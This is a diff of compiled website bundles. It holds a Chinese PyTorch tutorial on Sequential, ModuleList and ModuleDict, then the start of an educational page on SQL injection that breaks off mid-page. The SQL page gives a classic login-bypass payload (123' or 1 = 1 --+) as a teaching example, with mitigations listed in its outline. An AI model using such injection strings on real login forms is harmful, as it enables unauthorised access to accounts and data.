OrderedDict\uff0c\u4fdd\u8bc1\u4f1a\u6309\u7167\u6210\u5458\u6dfb\u52a0\u65f6\u7684\u987a\u5e8f\u904d\u5386\u6210\n for module in self._modules.values():\n input = module(input)\n return input\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u4e0b\u9762\u6765\u770b\u4e0b\u5982\u4f55\u4f7f\u7528",(0,l.jsx)(n.code,{children:"Sequential"}),"\u6765\u5b9a\u4e49\u6a21\u578b\u3002\u53ea\u9700\u8981\u5c06\u6a21\u578b\u7684\u5c42\u6309\u5e8f\u6392\u5217\u8d77\u6765\u5373\u53ef\uff0c\u6839\u636e\u5c42\u540d\u7684\u4e0d\u540c\uff0c\u6392\u5217\u7684\u65f6\u5019\u6709\u4e24\u79cd\u65b9\u5f0f\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"\u76f4\u63a5\u6392\u5217"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"import torch.nn as nn\nnet = nn.Sequential(\n nn.Linear(784, 256),\n nn.ReLU(),\n nn.Linear(256, 10), \n )\nprint(net)\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"Sequential(\n (0): Linear(in_features=784, out_features=256, bias=True)\n (1): ReLU()\n (2): Linear(in_features=256, out_features=10, bias=True)\n)\n"})}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"\u4f7f\u7528OrderedDict\uff1a"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"import collections\nimport torch.nn as nn\nnet2 = nn.Sequential(collections.OrderedDict([\n ('fc1', nn.Linear(784, 256)),\n ('relu1', nn.ReLU()),\n ('fc2', nn.Linear(256, 10))\n ]))\nprint(net2)\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"Sequential(\n (fc1): Linear(in_features=784, out_features=256, bias=True)\n (relu1): ReLU()\n (fc2): Linear(in_features=256, out_features=10, bias=True)\n)\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230\uff0c\u4f7f\u7528",(0,l.jsx)(n.code,{children:"Sequential"}),"\u5b9a\u4e49\u6a21\u578b\u7684\u597d\u5904\u5728\u4e8e\u7b80\u5355\u3001\u6613\u8bfb\uff0c\u540c\u65f6\u4f7f\u7528",(0,l.jsx)(n.code,{children:"Sequential"}),"\u5b9a\u4e49\u7684\u6a21\u578b\u4e0d\u9700\u8981\u518d\u5199",(0,l.jsx)(n.code,{children:"forward"}),"\uff0c\u56e0\u4e3a\u987a\u5e8f\u5df2\u7ecf\u5b9a\u4e49\u597d\u4e86\u3002\u4f46\u4f7f\u7528",(0,l.jsx)(n.code,{children:"Sequential"}),"\u4e5f\u4f1a\u4f7f\u5f97\u6a21\u578b\u5b9a\u4e49\u4e27\u5931\u7075\u6d3b\u6027\uff0c\u6bd4\u5982\u9700\u8981\u5728\u6a21\u578b\u4e2d\u95f4\u52a0\u5165\u4e00\u4e2a\u5916\u90e8\u8f93\u5165\u65f6\u5c31\u4e0d\u9002\u5408\u7528",(0,l.jsx)(n.code,{children:"Sequential"}),"\u7684\u65b9\u5f0f\u5b9e\u73b0\u3002\u4f7f\u7528\u65f6\u9700\u6839\u636e\u5b9e\u9645\u9700\u6c42\u52a0\u4ee5\u9009\u62e9\u3002"]}),"\n",(0,l.jsx)(n.h2,{id:"513-modulelist",children:"5.1.3 ModuleList"}),"\n",(0,l.jsxs)(n.p,{children:["\u5bf9\u5e94\u6a21\u5757\u4e3a",(0,l.jsx)(n.code,{children:"nn.ModuleList()"}),"\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"ModuleList"})," \u63a5\u6536\u4e00\u4e2a\u5b50\u6a21\u5757\uff08\u6216\u5c42\uff0c\u9700\u5c5e\u4e8e",(0,l.jsx)(n.code,{children:"nn.Module"}),"\u7c7b\uff09\u7684\uf99c\u8868\u4f5c\u4e3a\u8f93\u5165\uff0c\u7136\u540e\u4e5f\u53ef\u4ee5\u7c7b\u4f3c",(0,l.jsx)(n.code,{children:"List"}),"\u90a3\u6837\u8fdb\u884cappend\u548cextend\u64cd\u4f5c\u3002\u540c\u65f6\uff0c\u5b50\u6a21\u5757\u6216\u5c42\u7684\u6743\u91cd\u4e5f\u4f1a\u81ea\u52a8\u6dfb\u52a0\u5230\u7f51\u7edc\u4e2d\u6765\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"net = nn.ModuleList([nn.Linear(784, 256), nn.ReLU()])\nnet.append(nn.Linear(256, 10)) # # \u7c7b\u4f3cList\u7684append\u64cd\u4f5c\nprint(net[-1]) # \u7c7b\u4f3cList\u7684\u7d22\u5f15\u8bbf\u95ee\nprint(net)\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"Linear(in_features=256, out_features=10, bias=True)\nModuleList(\n (0): Linear(in_features=784, out_features=256, bias=True)\n (1): ReLU()\n (2): Linear(in_features=256, out_features=10, bias=True)\n)\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u8981\u7279\u522b\u6ce8\u610f\u7684\u662f\uff0c",(0,l.jsx)(n.code,{children:"nn.ModuleList"})," \u5e76\u6ca1\u6709\u5b9a\u4e49\u4e00\u4e2a\u7f51\u7edc\uff0c\u5b83\u53ea\u662f\u5c06\u4e0d\u540c\u7684\u6a21\u5757\u50a8\u5b58\u5728\u4e00\u8d77\u3002",(0,l.jsx)(n.code,{children:"ModuleList"}),"\u4e2d\u5143\u7d20\u7684\u5148\u540e\u987a\u5e8f\u5e76\u4e0d\u4ee3\u8868\u5176\u5728\u7f51\u7edc\u4e2d\u7684\u771f\u5b9e\u4f4d\u7f6e\u987a\u5e8f\uff0c\u9700\u8981\u7ecf\u8fc7forward\u51fd\u6570\u6307\u5b9a\u5404\u4e2a\u5c42\u7684\u5148\u540e\u987a\u5e8f\u540e\u624d\u7b97\u5b8c\u6210\u4e86\u6a21\u578b\u7684\u5b9a\u4e49\u3002\u5177\u4f53\u5b9e\u73b0\u65f6\u7528for\u5faa\u73af\u5373\u53ef\u5b8c\u6210\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"class model(nn.Module):\n def __init__(self, ...):\n super().__init__()\n self.modulelist = ...\n ...\n \n def forward(self, x):\n for layer in self.modulelist:\n x = layer(x)\n return x\n"})}),"\n",(0,l.jsx)(n.h2,{id:"514-moduledict",children:"5.1.4 ModuleDict"}),"\n",(0,l.jsxs)(n.p,{children:["\u5bf9\u5e94\u6a21\u5757\u4e3a",(0,l.jsx)(n.code,{children:"nn.ModuleDict()"}),"\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"ModuleDict"}),"\u548c",(0,l.jsx)(n.code,{children:"ModuleList"}),"\u7684\u4f5c\u7528\u7c7b\u4f3c\uff0c\u53ea\u662f",(0,l.jsx)(n.code,{children:"ModuleDict"}),"\u80fd\u591f\u66f4\u65b9\u4fbf\u5730\u4e3a\u795e\u7ecf\u7f51\u7edc\u7684\u5c42\u6dfb\u52a0\u540d\u79f0\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"net = nn.ModuleDict({\n 'linear': nn.Linear(784, 256),\n 'act': nn.ReLU(),\n})\nnet['output'] = nn.Linear(256, 10) # \u6dfb\u52a0\nprint(net['linear']) # \u8bbf\u95ee\nprint(net.output)\nprint(net)\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"Linear(in_features=784, out_features=256, bias=True)\nLinear(in_features=256, out_features=10, bias=True)\nModuleDict(\n (act): ReLU()\n (linear): Linear(in_features=784, out_features=256, bias=True)\n (output): Linear(in_features=256, out_features=10, bias=True)\n)\n"})}),"\n",(0,l.jsx)(n.h2,{id:"515-\u4e09\u79cd\u65b9\u6cd5\u7684\u6bd4\u8f83\u4e0e\u9002\u7528\u573a\u666f",children:"5.1.5 \u4e09\u79cd\u65b9\u6cd5\u7684\u6bd4\u8f83\u4e0e\u9002\u7528\u573a\u666f"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"Sequential"}),"\u9002\u7528\u4e8e\u5feb\u901f\u9a8c\u8bc1\u7ed3\u679c\uff0c\u56e0\u4e3a\u5df2\u7ecf\u660e\u786e\u4e86\u8981\u7528\u54ea\u4e9b\u5c42\uff0c\u76f4\u63a5\u5199\u4e00\u4e0b\u5c31\u597d\u4e86\uff0c\u4e0d\u9700\u8981\u540c\u65f6\u5199",(0,l.jsx)(n.code,{children:"__init__"}),"\u548c",(0,l.jsx)(n.code,{children:"forward"}),"\uff1b"]}),"\n",(0,l.jsx)(n.p,{children:"ModuleList\u548cModuleDict\u5728\u67d0\u4e2a\u5b8c\u5168\u76f8\u540c\u7684\u5c42\u9700\u8981\u91cd\u590d\u51fa\u73b0\u591a\u6b21\u65f6\uff0c\u975e\u5e38\u65b9\u4fbf\u5b9e\u73b0\uff0c\u53ef\u4ee5\u201d\u4e00\u884c\u9876\u591a\u884c\u201c\uff1b"}),"\n",(0,l.jsx)(n.p,{children:"\u5f53\u6211\u4eec\u9700\u8981\u4e4b\u524d\u5c42\u7684\u4fe1\u606f\u7684\u65f6\u5019\uff0c\u6bd4\u5982 ResNets \u4e2d\u7684\u6b8b\u5dee\u8ba1\u7b97\uff0c\u5f53\u524d\u5c42\u7684\u7ed3\u679c\u9700\u8981\u548c\u4e4b\u524d\u5c42\u4e2d\u7684\u7ed3\u679c\u8fdb\u884c\u878d\u5408\uff0c\u4e00\u822c\u4f7f\u7528 ModuleList/ModuleDict \u6bd4\u8f83\u65b9\u4fbf\u3002"}),"\n",(0,l.jsx)(n.h2,{id:"\u672c\u8282\u53c2\u8003",children:"\u672c\u8282\u53c2\u8003"}),"\n",(0,l.jsxs)(n.p,{children:["\u30101\u3011",(0,l.jsx)(n.a,{href:"https://zhuanlan.zhihu.com/p/64990232",children:"https://zhuanlan.zhihu.com/p/64990232"})]})]})}function h(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(a,{...e})}):a(e)}},28453:(e,n,i)=>{i.d(n,{R:()=>d,x:()=>t});var r=i(96540);const l={},s=r.createContext(l);function d(e){const n=r.useContext(s);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function t(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:d(e.components),r.createElement(s.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/a6a02242.936cfb41.js b/assets/js/a6a02242.936cfb41.js new file mode 100644 index 0000000..712a72c --- /dev/null +++ b/assets/js/a6a02242.936cfb41.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6067],{28453:(e,n,l)=>{l.d(n,{R:()=>r,x:()=>c});var s=l(96540);const d={},i=s.createContext(d);function r(e){const n=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(d):e.components||d:r(e.components),s.createElement(i.Provider,{value:n},e.children)}},63287:(e,n,l)=>{l.r(n),l.d(n,{assets:()=>h,contentTitle:()=>c,default:()=>x,frontMatter:()=>r,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/README","title":"SQL\u6ce8\u5165","description":"\u4ecb\u7ecd","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"google\u67e5\u8be2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2"},"next":{"title":"\u6ce8\u5165\u5224\u65ad","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad"}}');var d=l(74848),i=l(28453);const r={},c="SQL\u6ce8\u5165",h={},o=[{value:"\u4ecb\u7ecd",id:"\u4ecb\u7ecd",level:2},{value:"\u4ea7\u751f\u539f\u56e0",id:"\u4ea7\u751f\u539f\u56e0",level:2},{value:"\u6ce8\u5165\u4e3e\u4f8b",id:"\u6ce8\u5165\u4e3e\u4f8b",level:2},{value:"\u5e94\u7528\u573a\u666f",id:"\u5e94\u7528\u573a\u666f",level:2},{value:"\u5173\u7cfb\u3001\u975e\u5173\u7cfb\u6570\u636e\u5e93",id:"\u5173\u7cfb\u975e\u5173\u7cfb\u6570\u636e\u5e93",level:2},{value:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\uff08SQL\uff09",id:"\u5173\u7cfb\u578b\u6570\u636e\u5e93sql",level:3},{value:"\u4ec0\u4e48\u662f\uff08SQL\uff09\u5173\u7cfb\u578b\u6570\u636e\u5e93",id:"\u4ec0\u4e48\u662fsql\u5173\u7cfb\u578b\u6570\u636e\u5e93",level:4},{value:"\u4ec0\u4e48\u662f\u5173\u7cfb\u6a21\u578b",id:"\u4ec0\u4e48\u662f\u5173\u7cfb\u6a21\u578b",level:4},{value:"\u5e38\u89c1\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf(ORDBMS)",id:"\u5e38\u89c1\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edfordbms",level:4},{value:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf",id:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf",level:4},{value:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf",id:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf",level:4},{value:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\uff08NOSQL\uff09",id:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93nosql",level:3},{value:"\u4ec0\u4e48\u662f\uff08NOSQL\uff09\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\uff1a",id:"\u4ec0\u4e48\u662fnosql\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93",level:4},{value:"\u5e38\u89c1\u7684NOSQL\u6570\u636e\u5e93",id:"\u5e38\u89c1\u7684nosql\u6570\u636e\u5e93",level:4},{value:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf",id:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf",level:4},{value:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf",id:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf",level:4},{value:"\u6f0f\u6d1e\u5371\u5bb3",id:"\u6f0f\u6d1e\u5371\u5bb3",level:2},{value:"\u4fee\u590d\u5efa\u8bae",id:"\u4fee\u590d\u5efa\u8bae",level:2},{value:"\u4ee3\u7801\u5c42\u9762",id:"\u4ee3\u7801\u5c42\u9762",level:3},{value:"\u8f93\u5165\u8fc7\u6ee4\uff08\u6b63\u5219\u8fc7\u6ee4\uff09",id:"\u8f93\u5165\u8fc7\u6ee4\u6b63\u5219\u8fc7\u6ee4",level:4},{value:"\u9884\u7f16\u8bd1SQL\u8bed\u53e5(\u53c2\u6570\u5316\u67e5\u8be2)",id:"\u9884\u7f16\u8bd1sql\u8bed\u53e5\u53c2\u6570\u5316\u67e5\u8be2",level:4},{value:"\u9884\u7f16\u8bd1\u4ee5\u53ca\u539f\u7406",id:"\u9884\u7f16\u8bd1\u4ee5\u53ca\u539f\u7406",level:5},{value:"PDO",id:"pdo",level:5},{value:"\u6f14\u793a",id:"\u6f14\u793a",level:5},{value:"0x04 \u5371\u5bb3",id:"0x04-\u5371\u5bb3",level:5},{value:"0x05 \u603b\u7ed3",id:"0x05-\u603b\u7ed3",level:5},{value:"\u6570\u636e\u5e93\u5c42\u9762",id:"\u6570\u636e\u5e93\u5c42\u9762",level:3},{value:"\u6700\u5c0f\u6743\u9650\u539f\u5219",id:"\u6700\u5c0f\u6743\u9650\u539f\u5219",level:4},{value:"\u7981\u7528\u654f\u611f\u51fd\u6570",id:"\u7981\u7528\u654f\u611f\u51fd\u6570",level:4},{value:"\u6743\u9650\u63a7\u5236",id:"\u6743\u9650\u63a7\u5236",level:4},{value:"\u7edf\u4e00\u7f16\u7801",id:"\u7edf\u4e00\u7f16\u7801",level:4},{value:"\u5176\u4ed6\u5c42\u9762",id:"\u5176\u4ed6\u5c42\u9762",level:3},{value:"\u9776\u573a",id:"\u9776\u573a",level:2},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function t(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",h5:"h5",header:"header",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(n.header,{children:(0,d.jsx)(n.h1,{id:"sql\u6ce8\u5165",children:"SQL\u6ce8\u5165"})}),"\n",(0,d.jsx)(n.h2,{id:"\u4ecb\u7ecd",children:"\u4ecb\u7ecd"}),"\n",(0,d.jsxs)(n.p,{children:["SQL\u662f\u64cd\u4f5c",(0,d.jsx)(n.a,{href:"https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E5%BA%93/103728?fromModule=lemma_inlink",children:"\u6570\u636e\u5e93"}),"\u6570\u636e\u7684\u7ed3\u6784\u5316\u67e5\u8be2\u8bed\u8a00\uff0c\u7f51\u9875\u7684\u5e94\u7528\u6570\u636e\u548c\u540e\u53f0\u6570\u636e\u5e93\u4e2d\u7684\u6570\u636e\u8fdb\u884c\u4ea4\u4e92\u65f6\u4f1a\u91c7\u7528SQL\u3002\u800cSQL\u6ce8\u5165\u662f\u5c06Web\u9875\u9762\u7684\u539f",(0,d.jsx)(n.a,{href:"https://baike.baidu.com/item/URL/110640?fromModule=lemma_inlink",children:"URL"}),"\u3001\u8868\u5355\u57df\u6216\u6570\u636e\u5305\u8f93\u5165\u7684\u53c2\u6570\uff0c\u4fee\u6539\u62fc\u63a5\u6210SQL\u8bed\u53e5\uff0c\u4f20\u9012\u7ed9Web\u670d\u52a1\u5668\uff0c\u8fdb\u800c\u4f20\u7ed9",(0,d.jsx)(n.a,{href:"https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E5%BA%93%E6%9C%8D%E5%8A%A1%E5%99%A8/613818?fromModule=lemma_inlink",children:"\u6570\u636e\u5e93\u670d\u52a1\u5668"}),"\u4ee5\u6267\u884c\u6570\u636e\u5e93\u547d\u4ee4\u3002\u5982Web\u5e94\u7528\u7a0b\u5e8f\u7684\u5f00\u53d1\u4eba\u5458\u5bf9\u7528\u6237\u6240\u8f93\u5165\u7684\u6570\u636e\u6216cookie\u7b49\u5185\u5bb9\u4e0d\u8fdb\u884c\u8fc7\u6ee4\u6216\u9a8c\u8bc1(\u5373\u5b58\u5728\u6ce8\u5165\u70b9)\u5c31\u76f4\u63a5\u4f20\u8f93\u7ed9\u6570\u636e\u5e93\uff0c\u5c31\u53ef\u80fd\u5bfc\u81f4\u62fc\u63a5\u7684SQL\u88ab\u6267\u884c\uff0c\u83b7\u53d6\u5bf9\u6570\u636e\u5e93\u7684\u4fe1\u606f\u4ee5\u53ca\u63d0\u6743\uff0c\u53d1\u751f",(0,d.jsx)(n.a,{href:"https://baike.baidu.com/item/SQL%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/4766224?fromModule=lemma_inlink",children:"SQL\u6ce8\u5165\u653b\u51fb"}),"\u3002"]}),"\n",(0,d.jsx)(n.h2,{id:"\u4ea7\u751f\u539f\u56e0",children:"\u4ea7\u751f\u539f\u56e0"}),"\n",(0,d.jsx)(n.p,{children:"SQL\u6ce8\u5165\u4ea7\u751f\u7684\u539f\u56e0\u662f\u7f51\u7ad9\u5e94\u7528\u7a0b\u5e8f\u5728\u7f16\u5199\u65f6\u672a\u5bf9\u7528\u6237\u63d0\u4ea4\u81f3\u670d\u52a1\u5668\u7684\u6570\u636e\u8fdb\u884c\u5408\u6cd5\u6027\u6821\u9a8c\uff08\u7c7b\u578b\u3001\u957f\u5ea6\u3001\u4e1a\u52a1\u53c2\u6570\u5408\u6cd5\u6027\u3001\u654f\u611f\u5b57\u7b26\u7b49\uff09\uff0c\u540c\u65f6\u6ca1\u6709\u5bf9\u7528\u6237\u8f93\u5165\u6570\u636e\u8fdb\u884c\u6709\u6548\u5730\u7279\u6b8a\u5b57\u7b26\u8fc7\u6ee4\uff0c\u4f7f\u5f97\u7528\u6237\u7684\u8f93\u5165\u76f4\u63a5\u5e26\u5165\u6570\u636e\u5e93\u6267\u884c\uff0c\u8d85\u51fa\u4e86SQL\u8bed\u53e5\u539f\u6765\u8bbe\u8ba1\u7684\u9884\u671f\u7ed3\u679c\uff0c\u5bfc\u81f4\u4e86SQL\u6ce8\u5165\u6f0f\u6d1e\u3002"}),"\n",(0,d.jsx)(n.h2,{id:"\u6ce8\u5165\u4e3e\u4f8b",children:"\u6ce8\u5165\u4e3e\u4f8b"}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsx)(n.p,{children:"\u901a\u8fc7\u4e07\u80fd\u5bc6\u7801\u7684\u4e3e\u4f8b\uff0c\u6765\u7b80\u5355\u8bb2\u89e3SQL\u6ce8\u5165"}),"\n"]}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{className:"language-php",children:"fetch_row()){\n echo \"success\";\n}else{\n echo \"fail\";\n}\n"})}),"\n",(0,d.jsxs)(n.p,{children:["\u7528\u6237\u540d",(0,d.jsx)(n.code,{children:"username"}),"\u548c\u5bc6\u7801",(0,d.jsx)(n.code,{children:"password"}),"\u5747\u6765\u81ea\u4e8e\u7528\u6237\u7684\u76f4\u63a5\u4f20\u5165\uff0c\u65e0\u4efb\u4f55\u8fc7\u6ee4\uff0c\u540e\u76f4\u63a5\u62fc\u63a5\u5230SQL\u8bed\u53e5\u4e2d\u3002"]}),"\n",(0,d.jsx)(n.p,{children:"\u6b63\u5e38\u7528\u6237\u767b\u5f55\u662f\uff0c\u6b63\u5e38sql\u8bed\u53e5\u4e3a\uff1a"}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{className:"language-sql",children:"select * from users where username = 'admin' and password='password'\n"})}),"\n",(0,d.jsxs)(n.p,{children:["\u653b\u51fb\u8005\u5e26\u6076\u610f\u7684SQL\u8bed\u53e5\u8f93\u5165\u7684\u7528\u6237\u540d\u4e3a",(0,d.jsx)(n.code,{children:"admin"}),"\uff0c\u5bc6\u7801\u4e3a",(0,d.jsx)(n.code,{children:"123' or 1 = 1 --+ "}),"\uff0c\u56e0\u4e3a 1=1 \u6c38\u771f\uff0c\u6240\u4ee5\u4e5f\u5c31\u4f1a\u767b\u5f55\u6210\u529f"]}),"\n",(0,d.jsx)(n.h2,{id:"\u5e94\u7528\u573a\u666f",children:"\u5e94\u7528\u573a\u666f"}),"\n",(0,d.jsxs)(n.p,{children:[(0,d.jsx)(n.strong,{children:"SQL\u6ce8\u5165\u6f0f\u6d1e\u53ef\u80fd\u51fa\u73b0\u5728\u4e00\u5207\u4e0e\u6570\u636e\u5e93\u4ea4\u4e92\u7684\u5730\u65b9"}),"\uff0c\u5e38\u89c1\u4e3e\u4f8b\u5982\u4e0b\uff08\u4e3b\u8981\u8fd8\u662f\u5b58\u5728\u4e8e",(0,d.jsx)(n.strong,{children:"\u589e\u5220\u6539\u67e5"}),"\u56db\u4e2a\u5b57\u4e0a\uff09\uff1a"]}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsx)(n.p,{children:"\u7b80\u800c\u8a00\u4e4b\uff1a\u6240\u6709\u548c\u6570\u636e\u5e93\u4ea4\u4e92\u7684\u70b9\u5747\u53ef\u80fd\u5b58\u5728SQL\u6ce8\u5165"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(n.table,{children:[(0,d.jsx)(n.thead,{children:(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.th,{style:{textAlign:"left"},children:"\u5173\u952e\u5b57"}),(0,d.jsx)(n.th,{style:{textAlign:"left"},children:"\u529f\u80fd\u4e3e\u4f8b"})]})}),(0,d.jsxs)(n.tbody,{children:[(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u589e"}),(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u6ce8\u518c\u65b0\u7528\u6237\u3001\u521b\u5efa\u8ba2\u5355\u3001\u6dfb\u52a0\u6587\u7ae0\u2026\u2026"})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u5220"}),(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u5220\u9664\u7528\u6237\u3001\u5220\u9664\u8ba2\u5355\u2026\u2026"})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u6539"}),(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u4fee\u6539\u8ba2\u5355\u3001\u66f4\u65b0\u7528\u6237\u4fe1\u606f\u2026\u2026"})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u67e5"}),(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u67e5\u8be2\u4fe1\u606f\u3001\u7b5b\u9009\u8ba2\u5355\u3001\u641c\u7d22\u6587\u7ae0\u2026\u2026"})]})]})]}),"\n",(0,d.jsx)(n.h2,{id:"\u5173\u7cfb\u975e\u5173\u7cfb\u6570\u636e\u5e93",children:"\u5173\u7cfb\u3001\u975e\u5173\u7cfb\u6570\u636e\u5e93"}),"\n",(0,d.jsx)(n.h3,{id:"\u5173\u7cfb\u578b\u6570\u636e\u5e93sql",children:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\uff08SQL\uff09"}),"\n",(0,d.jsx)(n.h4,{id:"\u4ec0\u4e48\u662fsql\u5173\u7cfb\u578b\u6570\u636e\u5e93",children:"\u4ec0\u4e48\u662f\uff08SQL\uff09\u5173\u7cfb\u578b\u6570\u636e\u5e93"}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsx)(n.p,{children:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u6307\u7684\u662f\u4f7f\u7528\u5173\u7cfb\u6a21\u578b\uff08\u4e8c\u7ef4\u8868\u683c\u6a21\u578b\uff09\u6765\u7ec4\u7ec7\u6570\u636e\u7684\u6570\u636e\u5e93\u3002"}),"\n"]}),"\n",(0,d.jsx)(n.h4,{id:"\u4ec0\u4e48\u662f\u5173\u7cfb\u6a21\u578b",children:"\u4ec0\u4e48\u662f\u5173\u7cfb\u6a21\u578b"}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsx)(n.p,{children:"\u5173\u7cfb\u6a21\u578b\u53ef\u4ee5\u7b80\u5355\u7406\u89e3\u4e3a\u4e8c\u7ef4\u8868\u683c\u6a21\u578b\uff0c\u800c\u4e00\u4e2a\u5173\u7cfb\u578b\u6570\u636e\u5e93\u5c31\u662f\u7531\u4e8c\u7ef4\u8868\u53ca\u5176\u4e4b\u95f4\u7684\u5173\u7cfb\u7ec4\u6210\u7684\u4e00\u4e2a\u6570\u636e\u7ec4\u7ec7\u3002"}),"\n"]}),"\n",(0,d.jsxs)(n.h4,{id:"\u5e38\u89c1\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edfordbms",children:["\u5e38\u89c1\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf(",(0,d.jsx)(n.a,{href:"https://baike.baidu.com/item/ORDBMS/870762",children:"ORDBMS"}),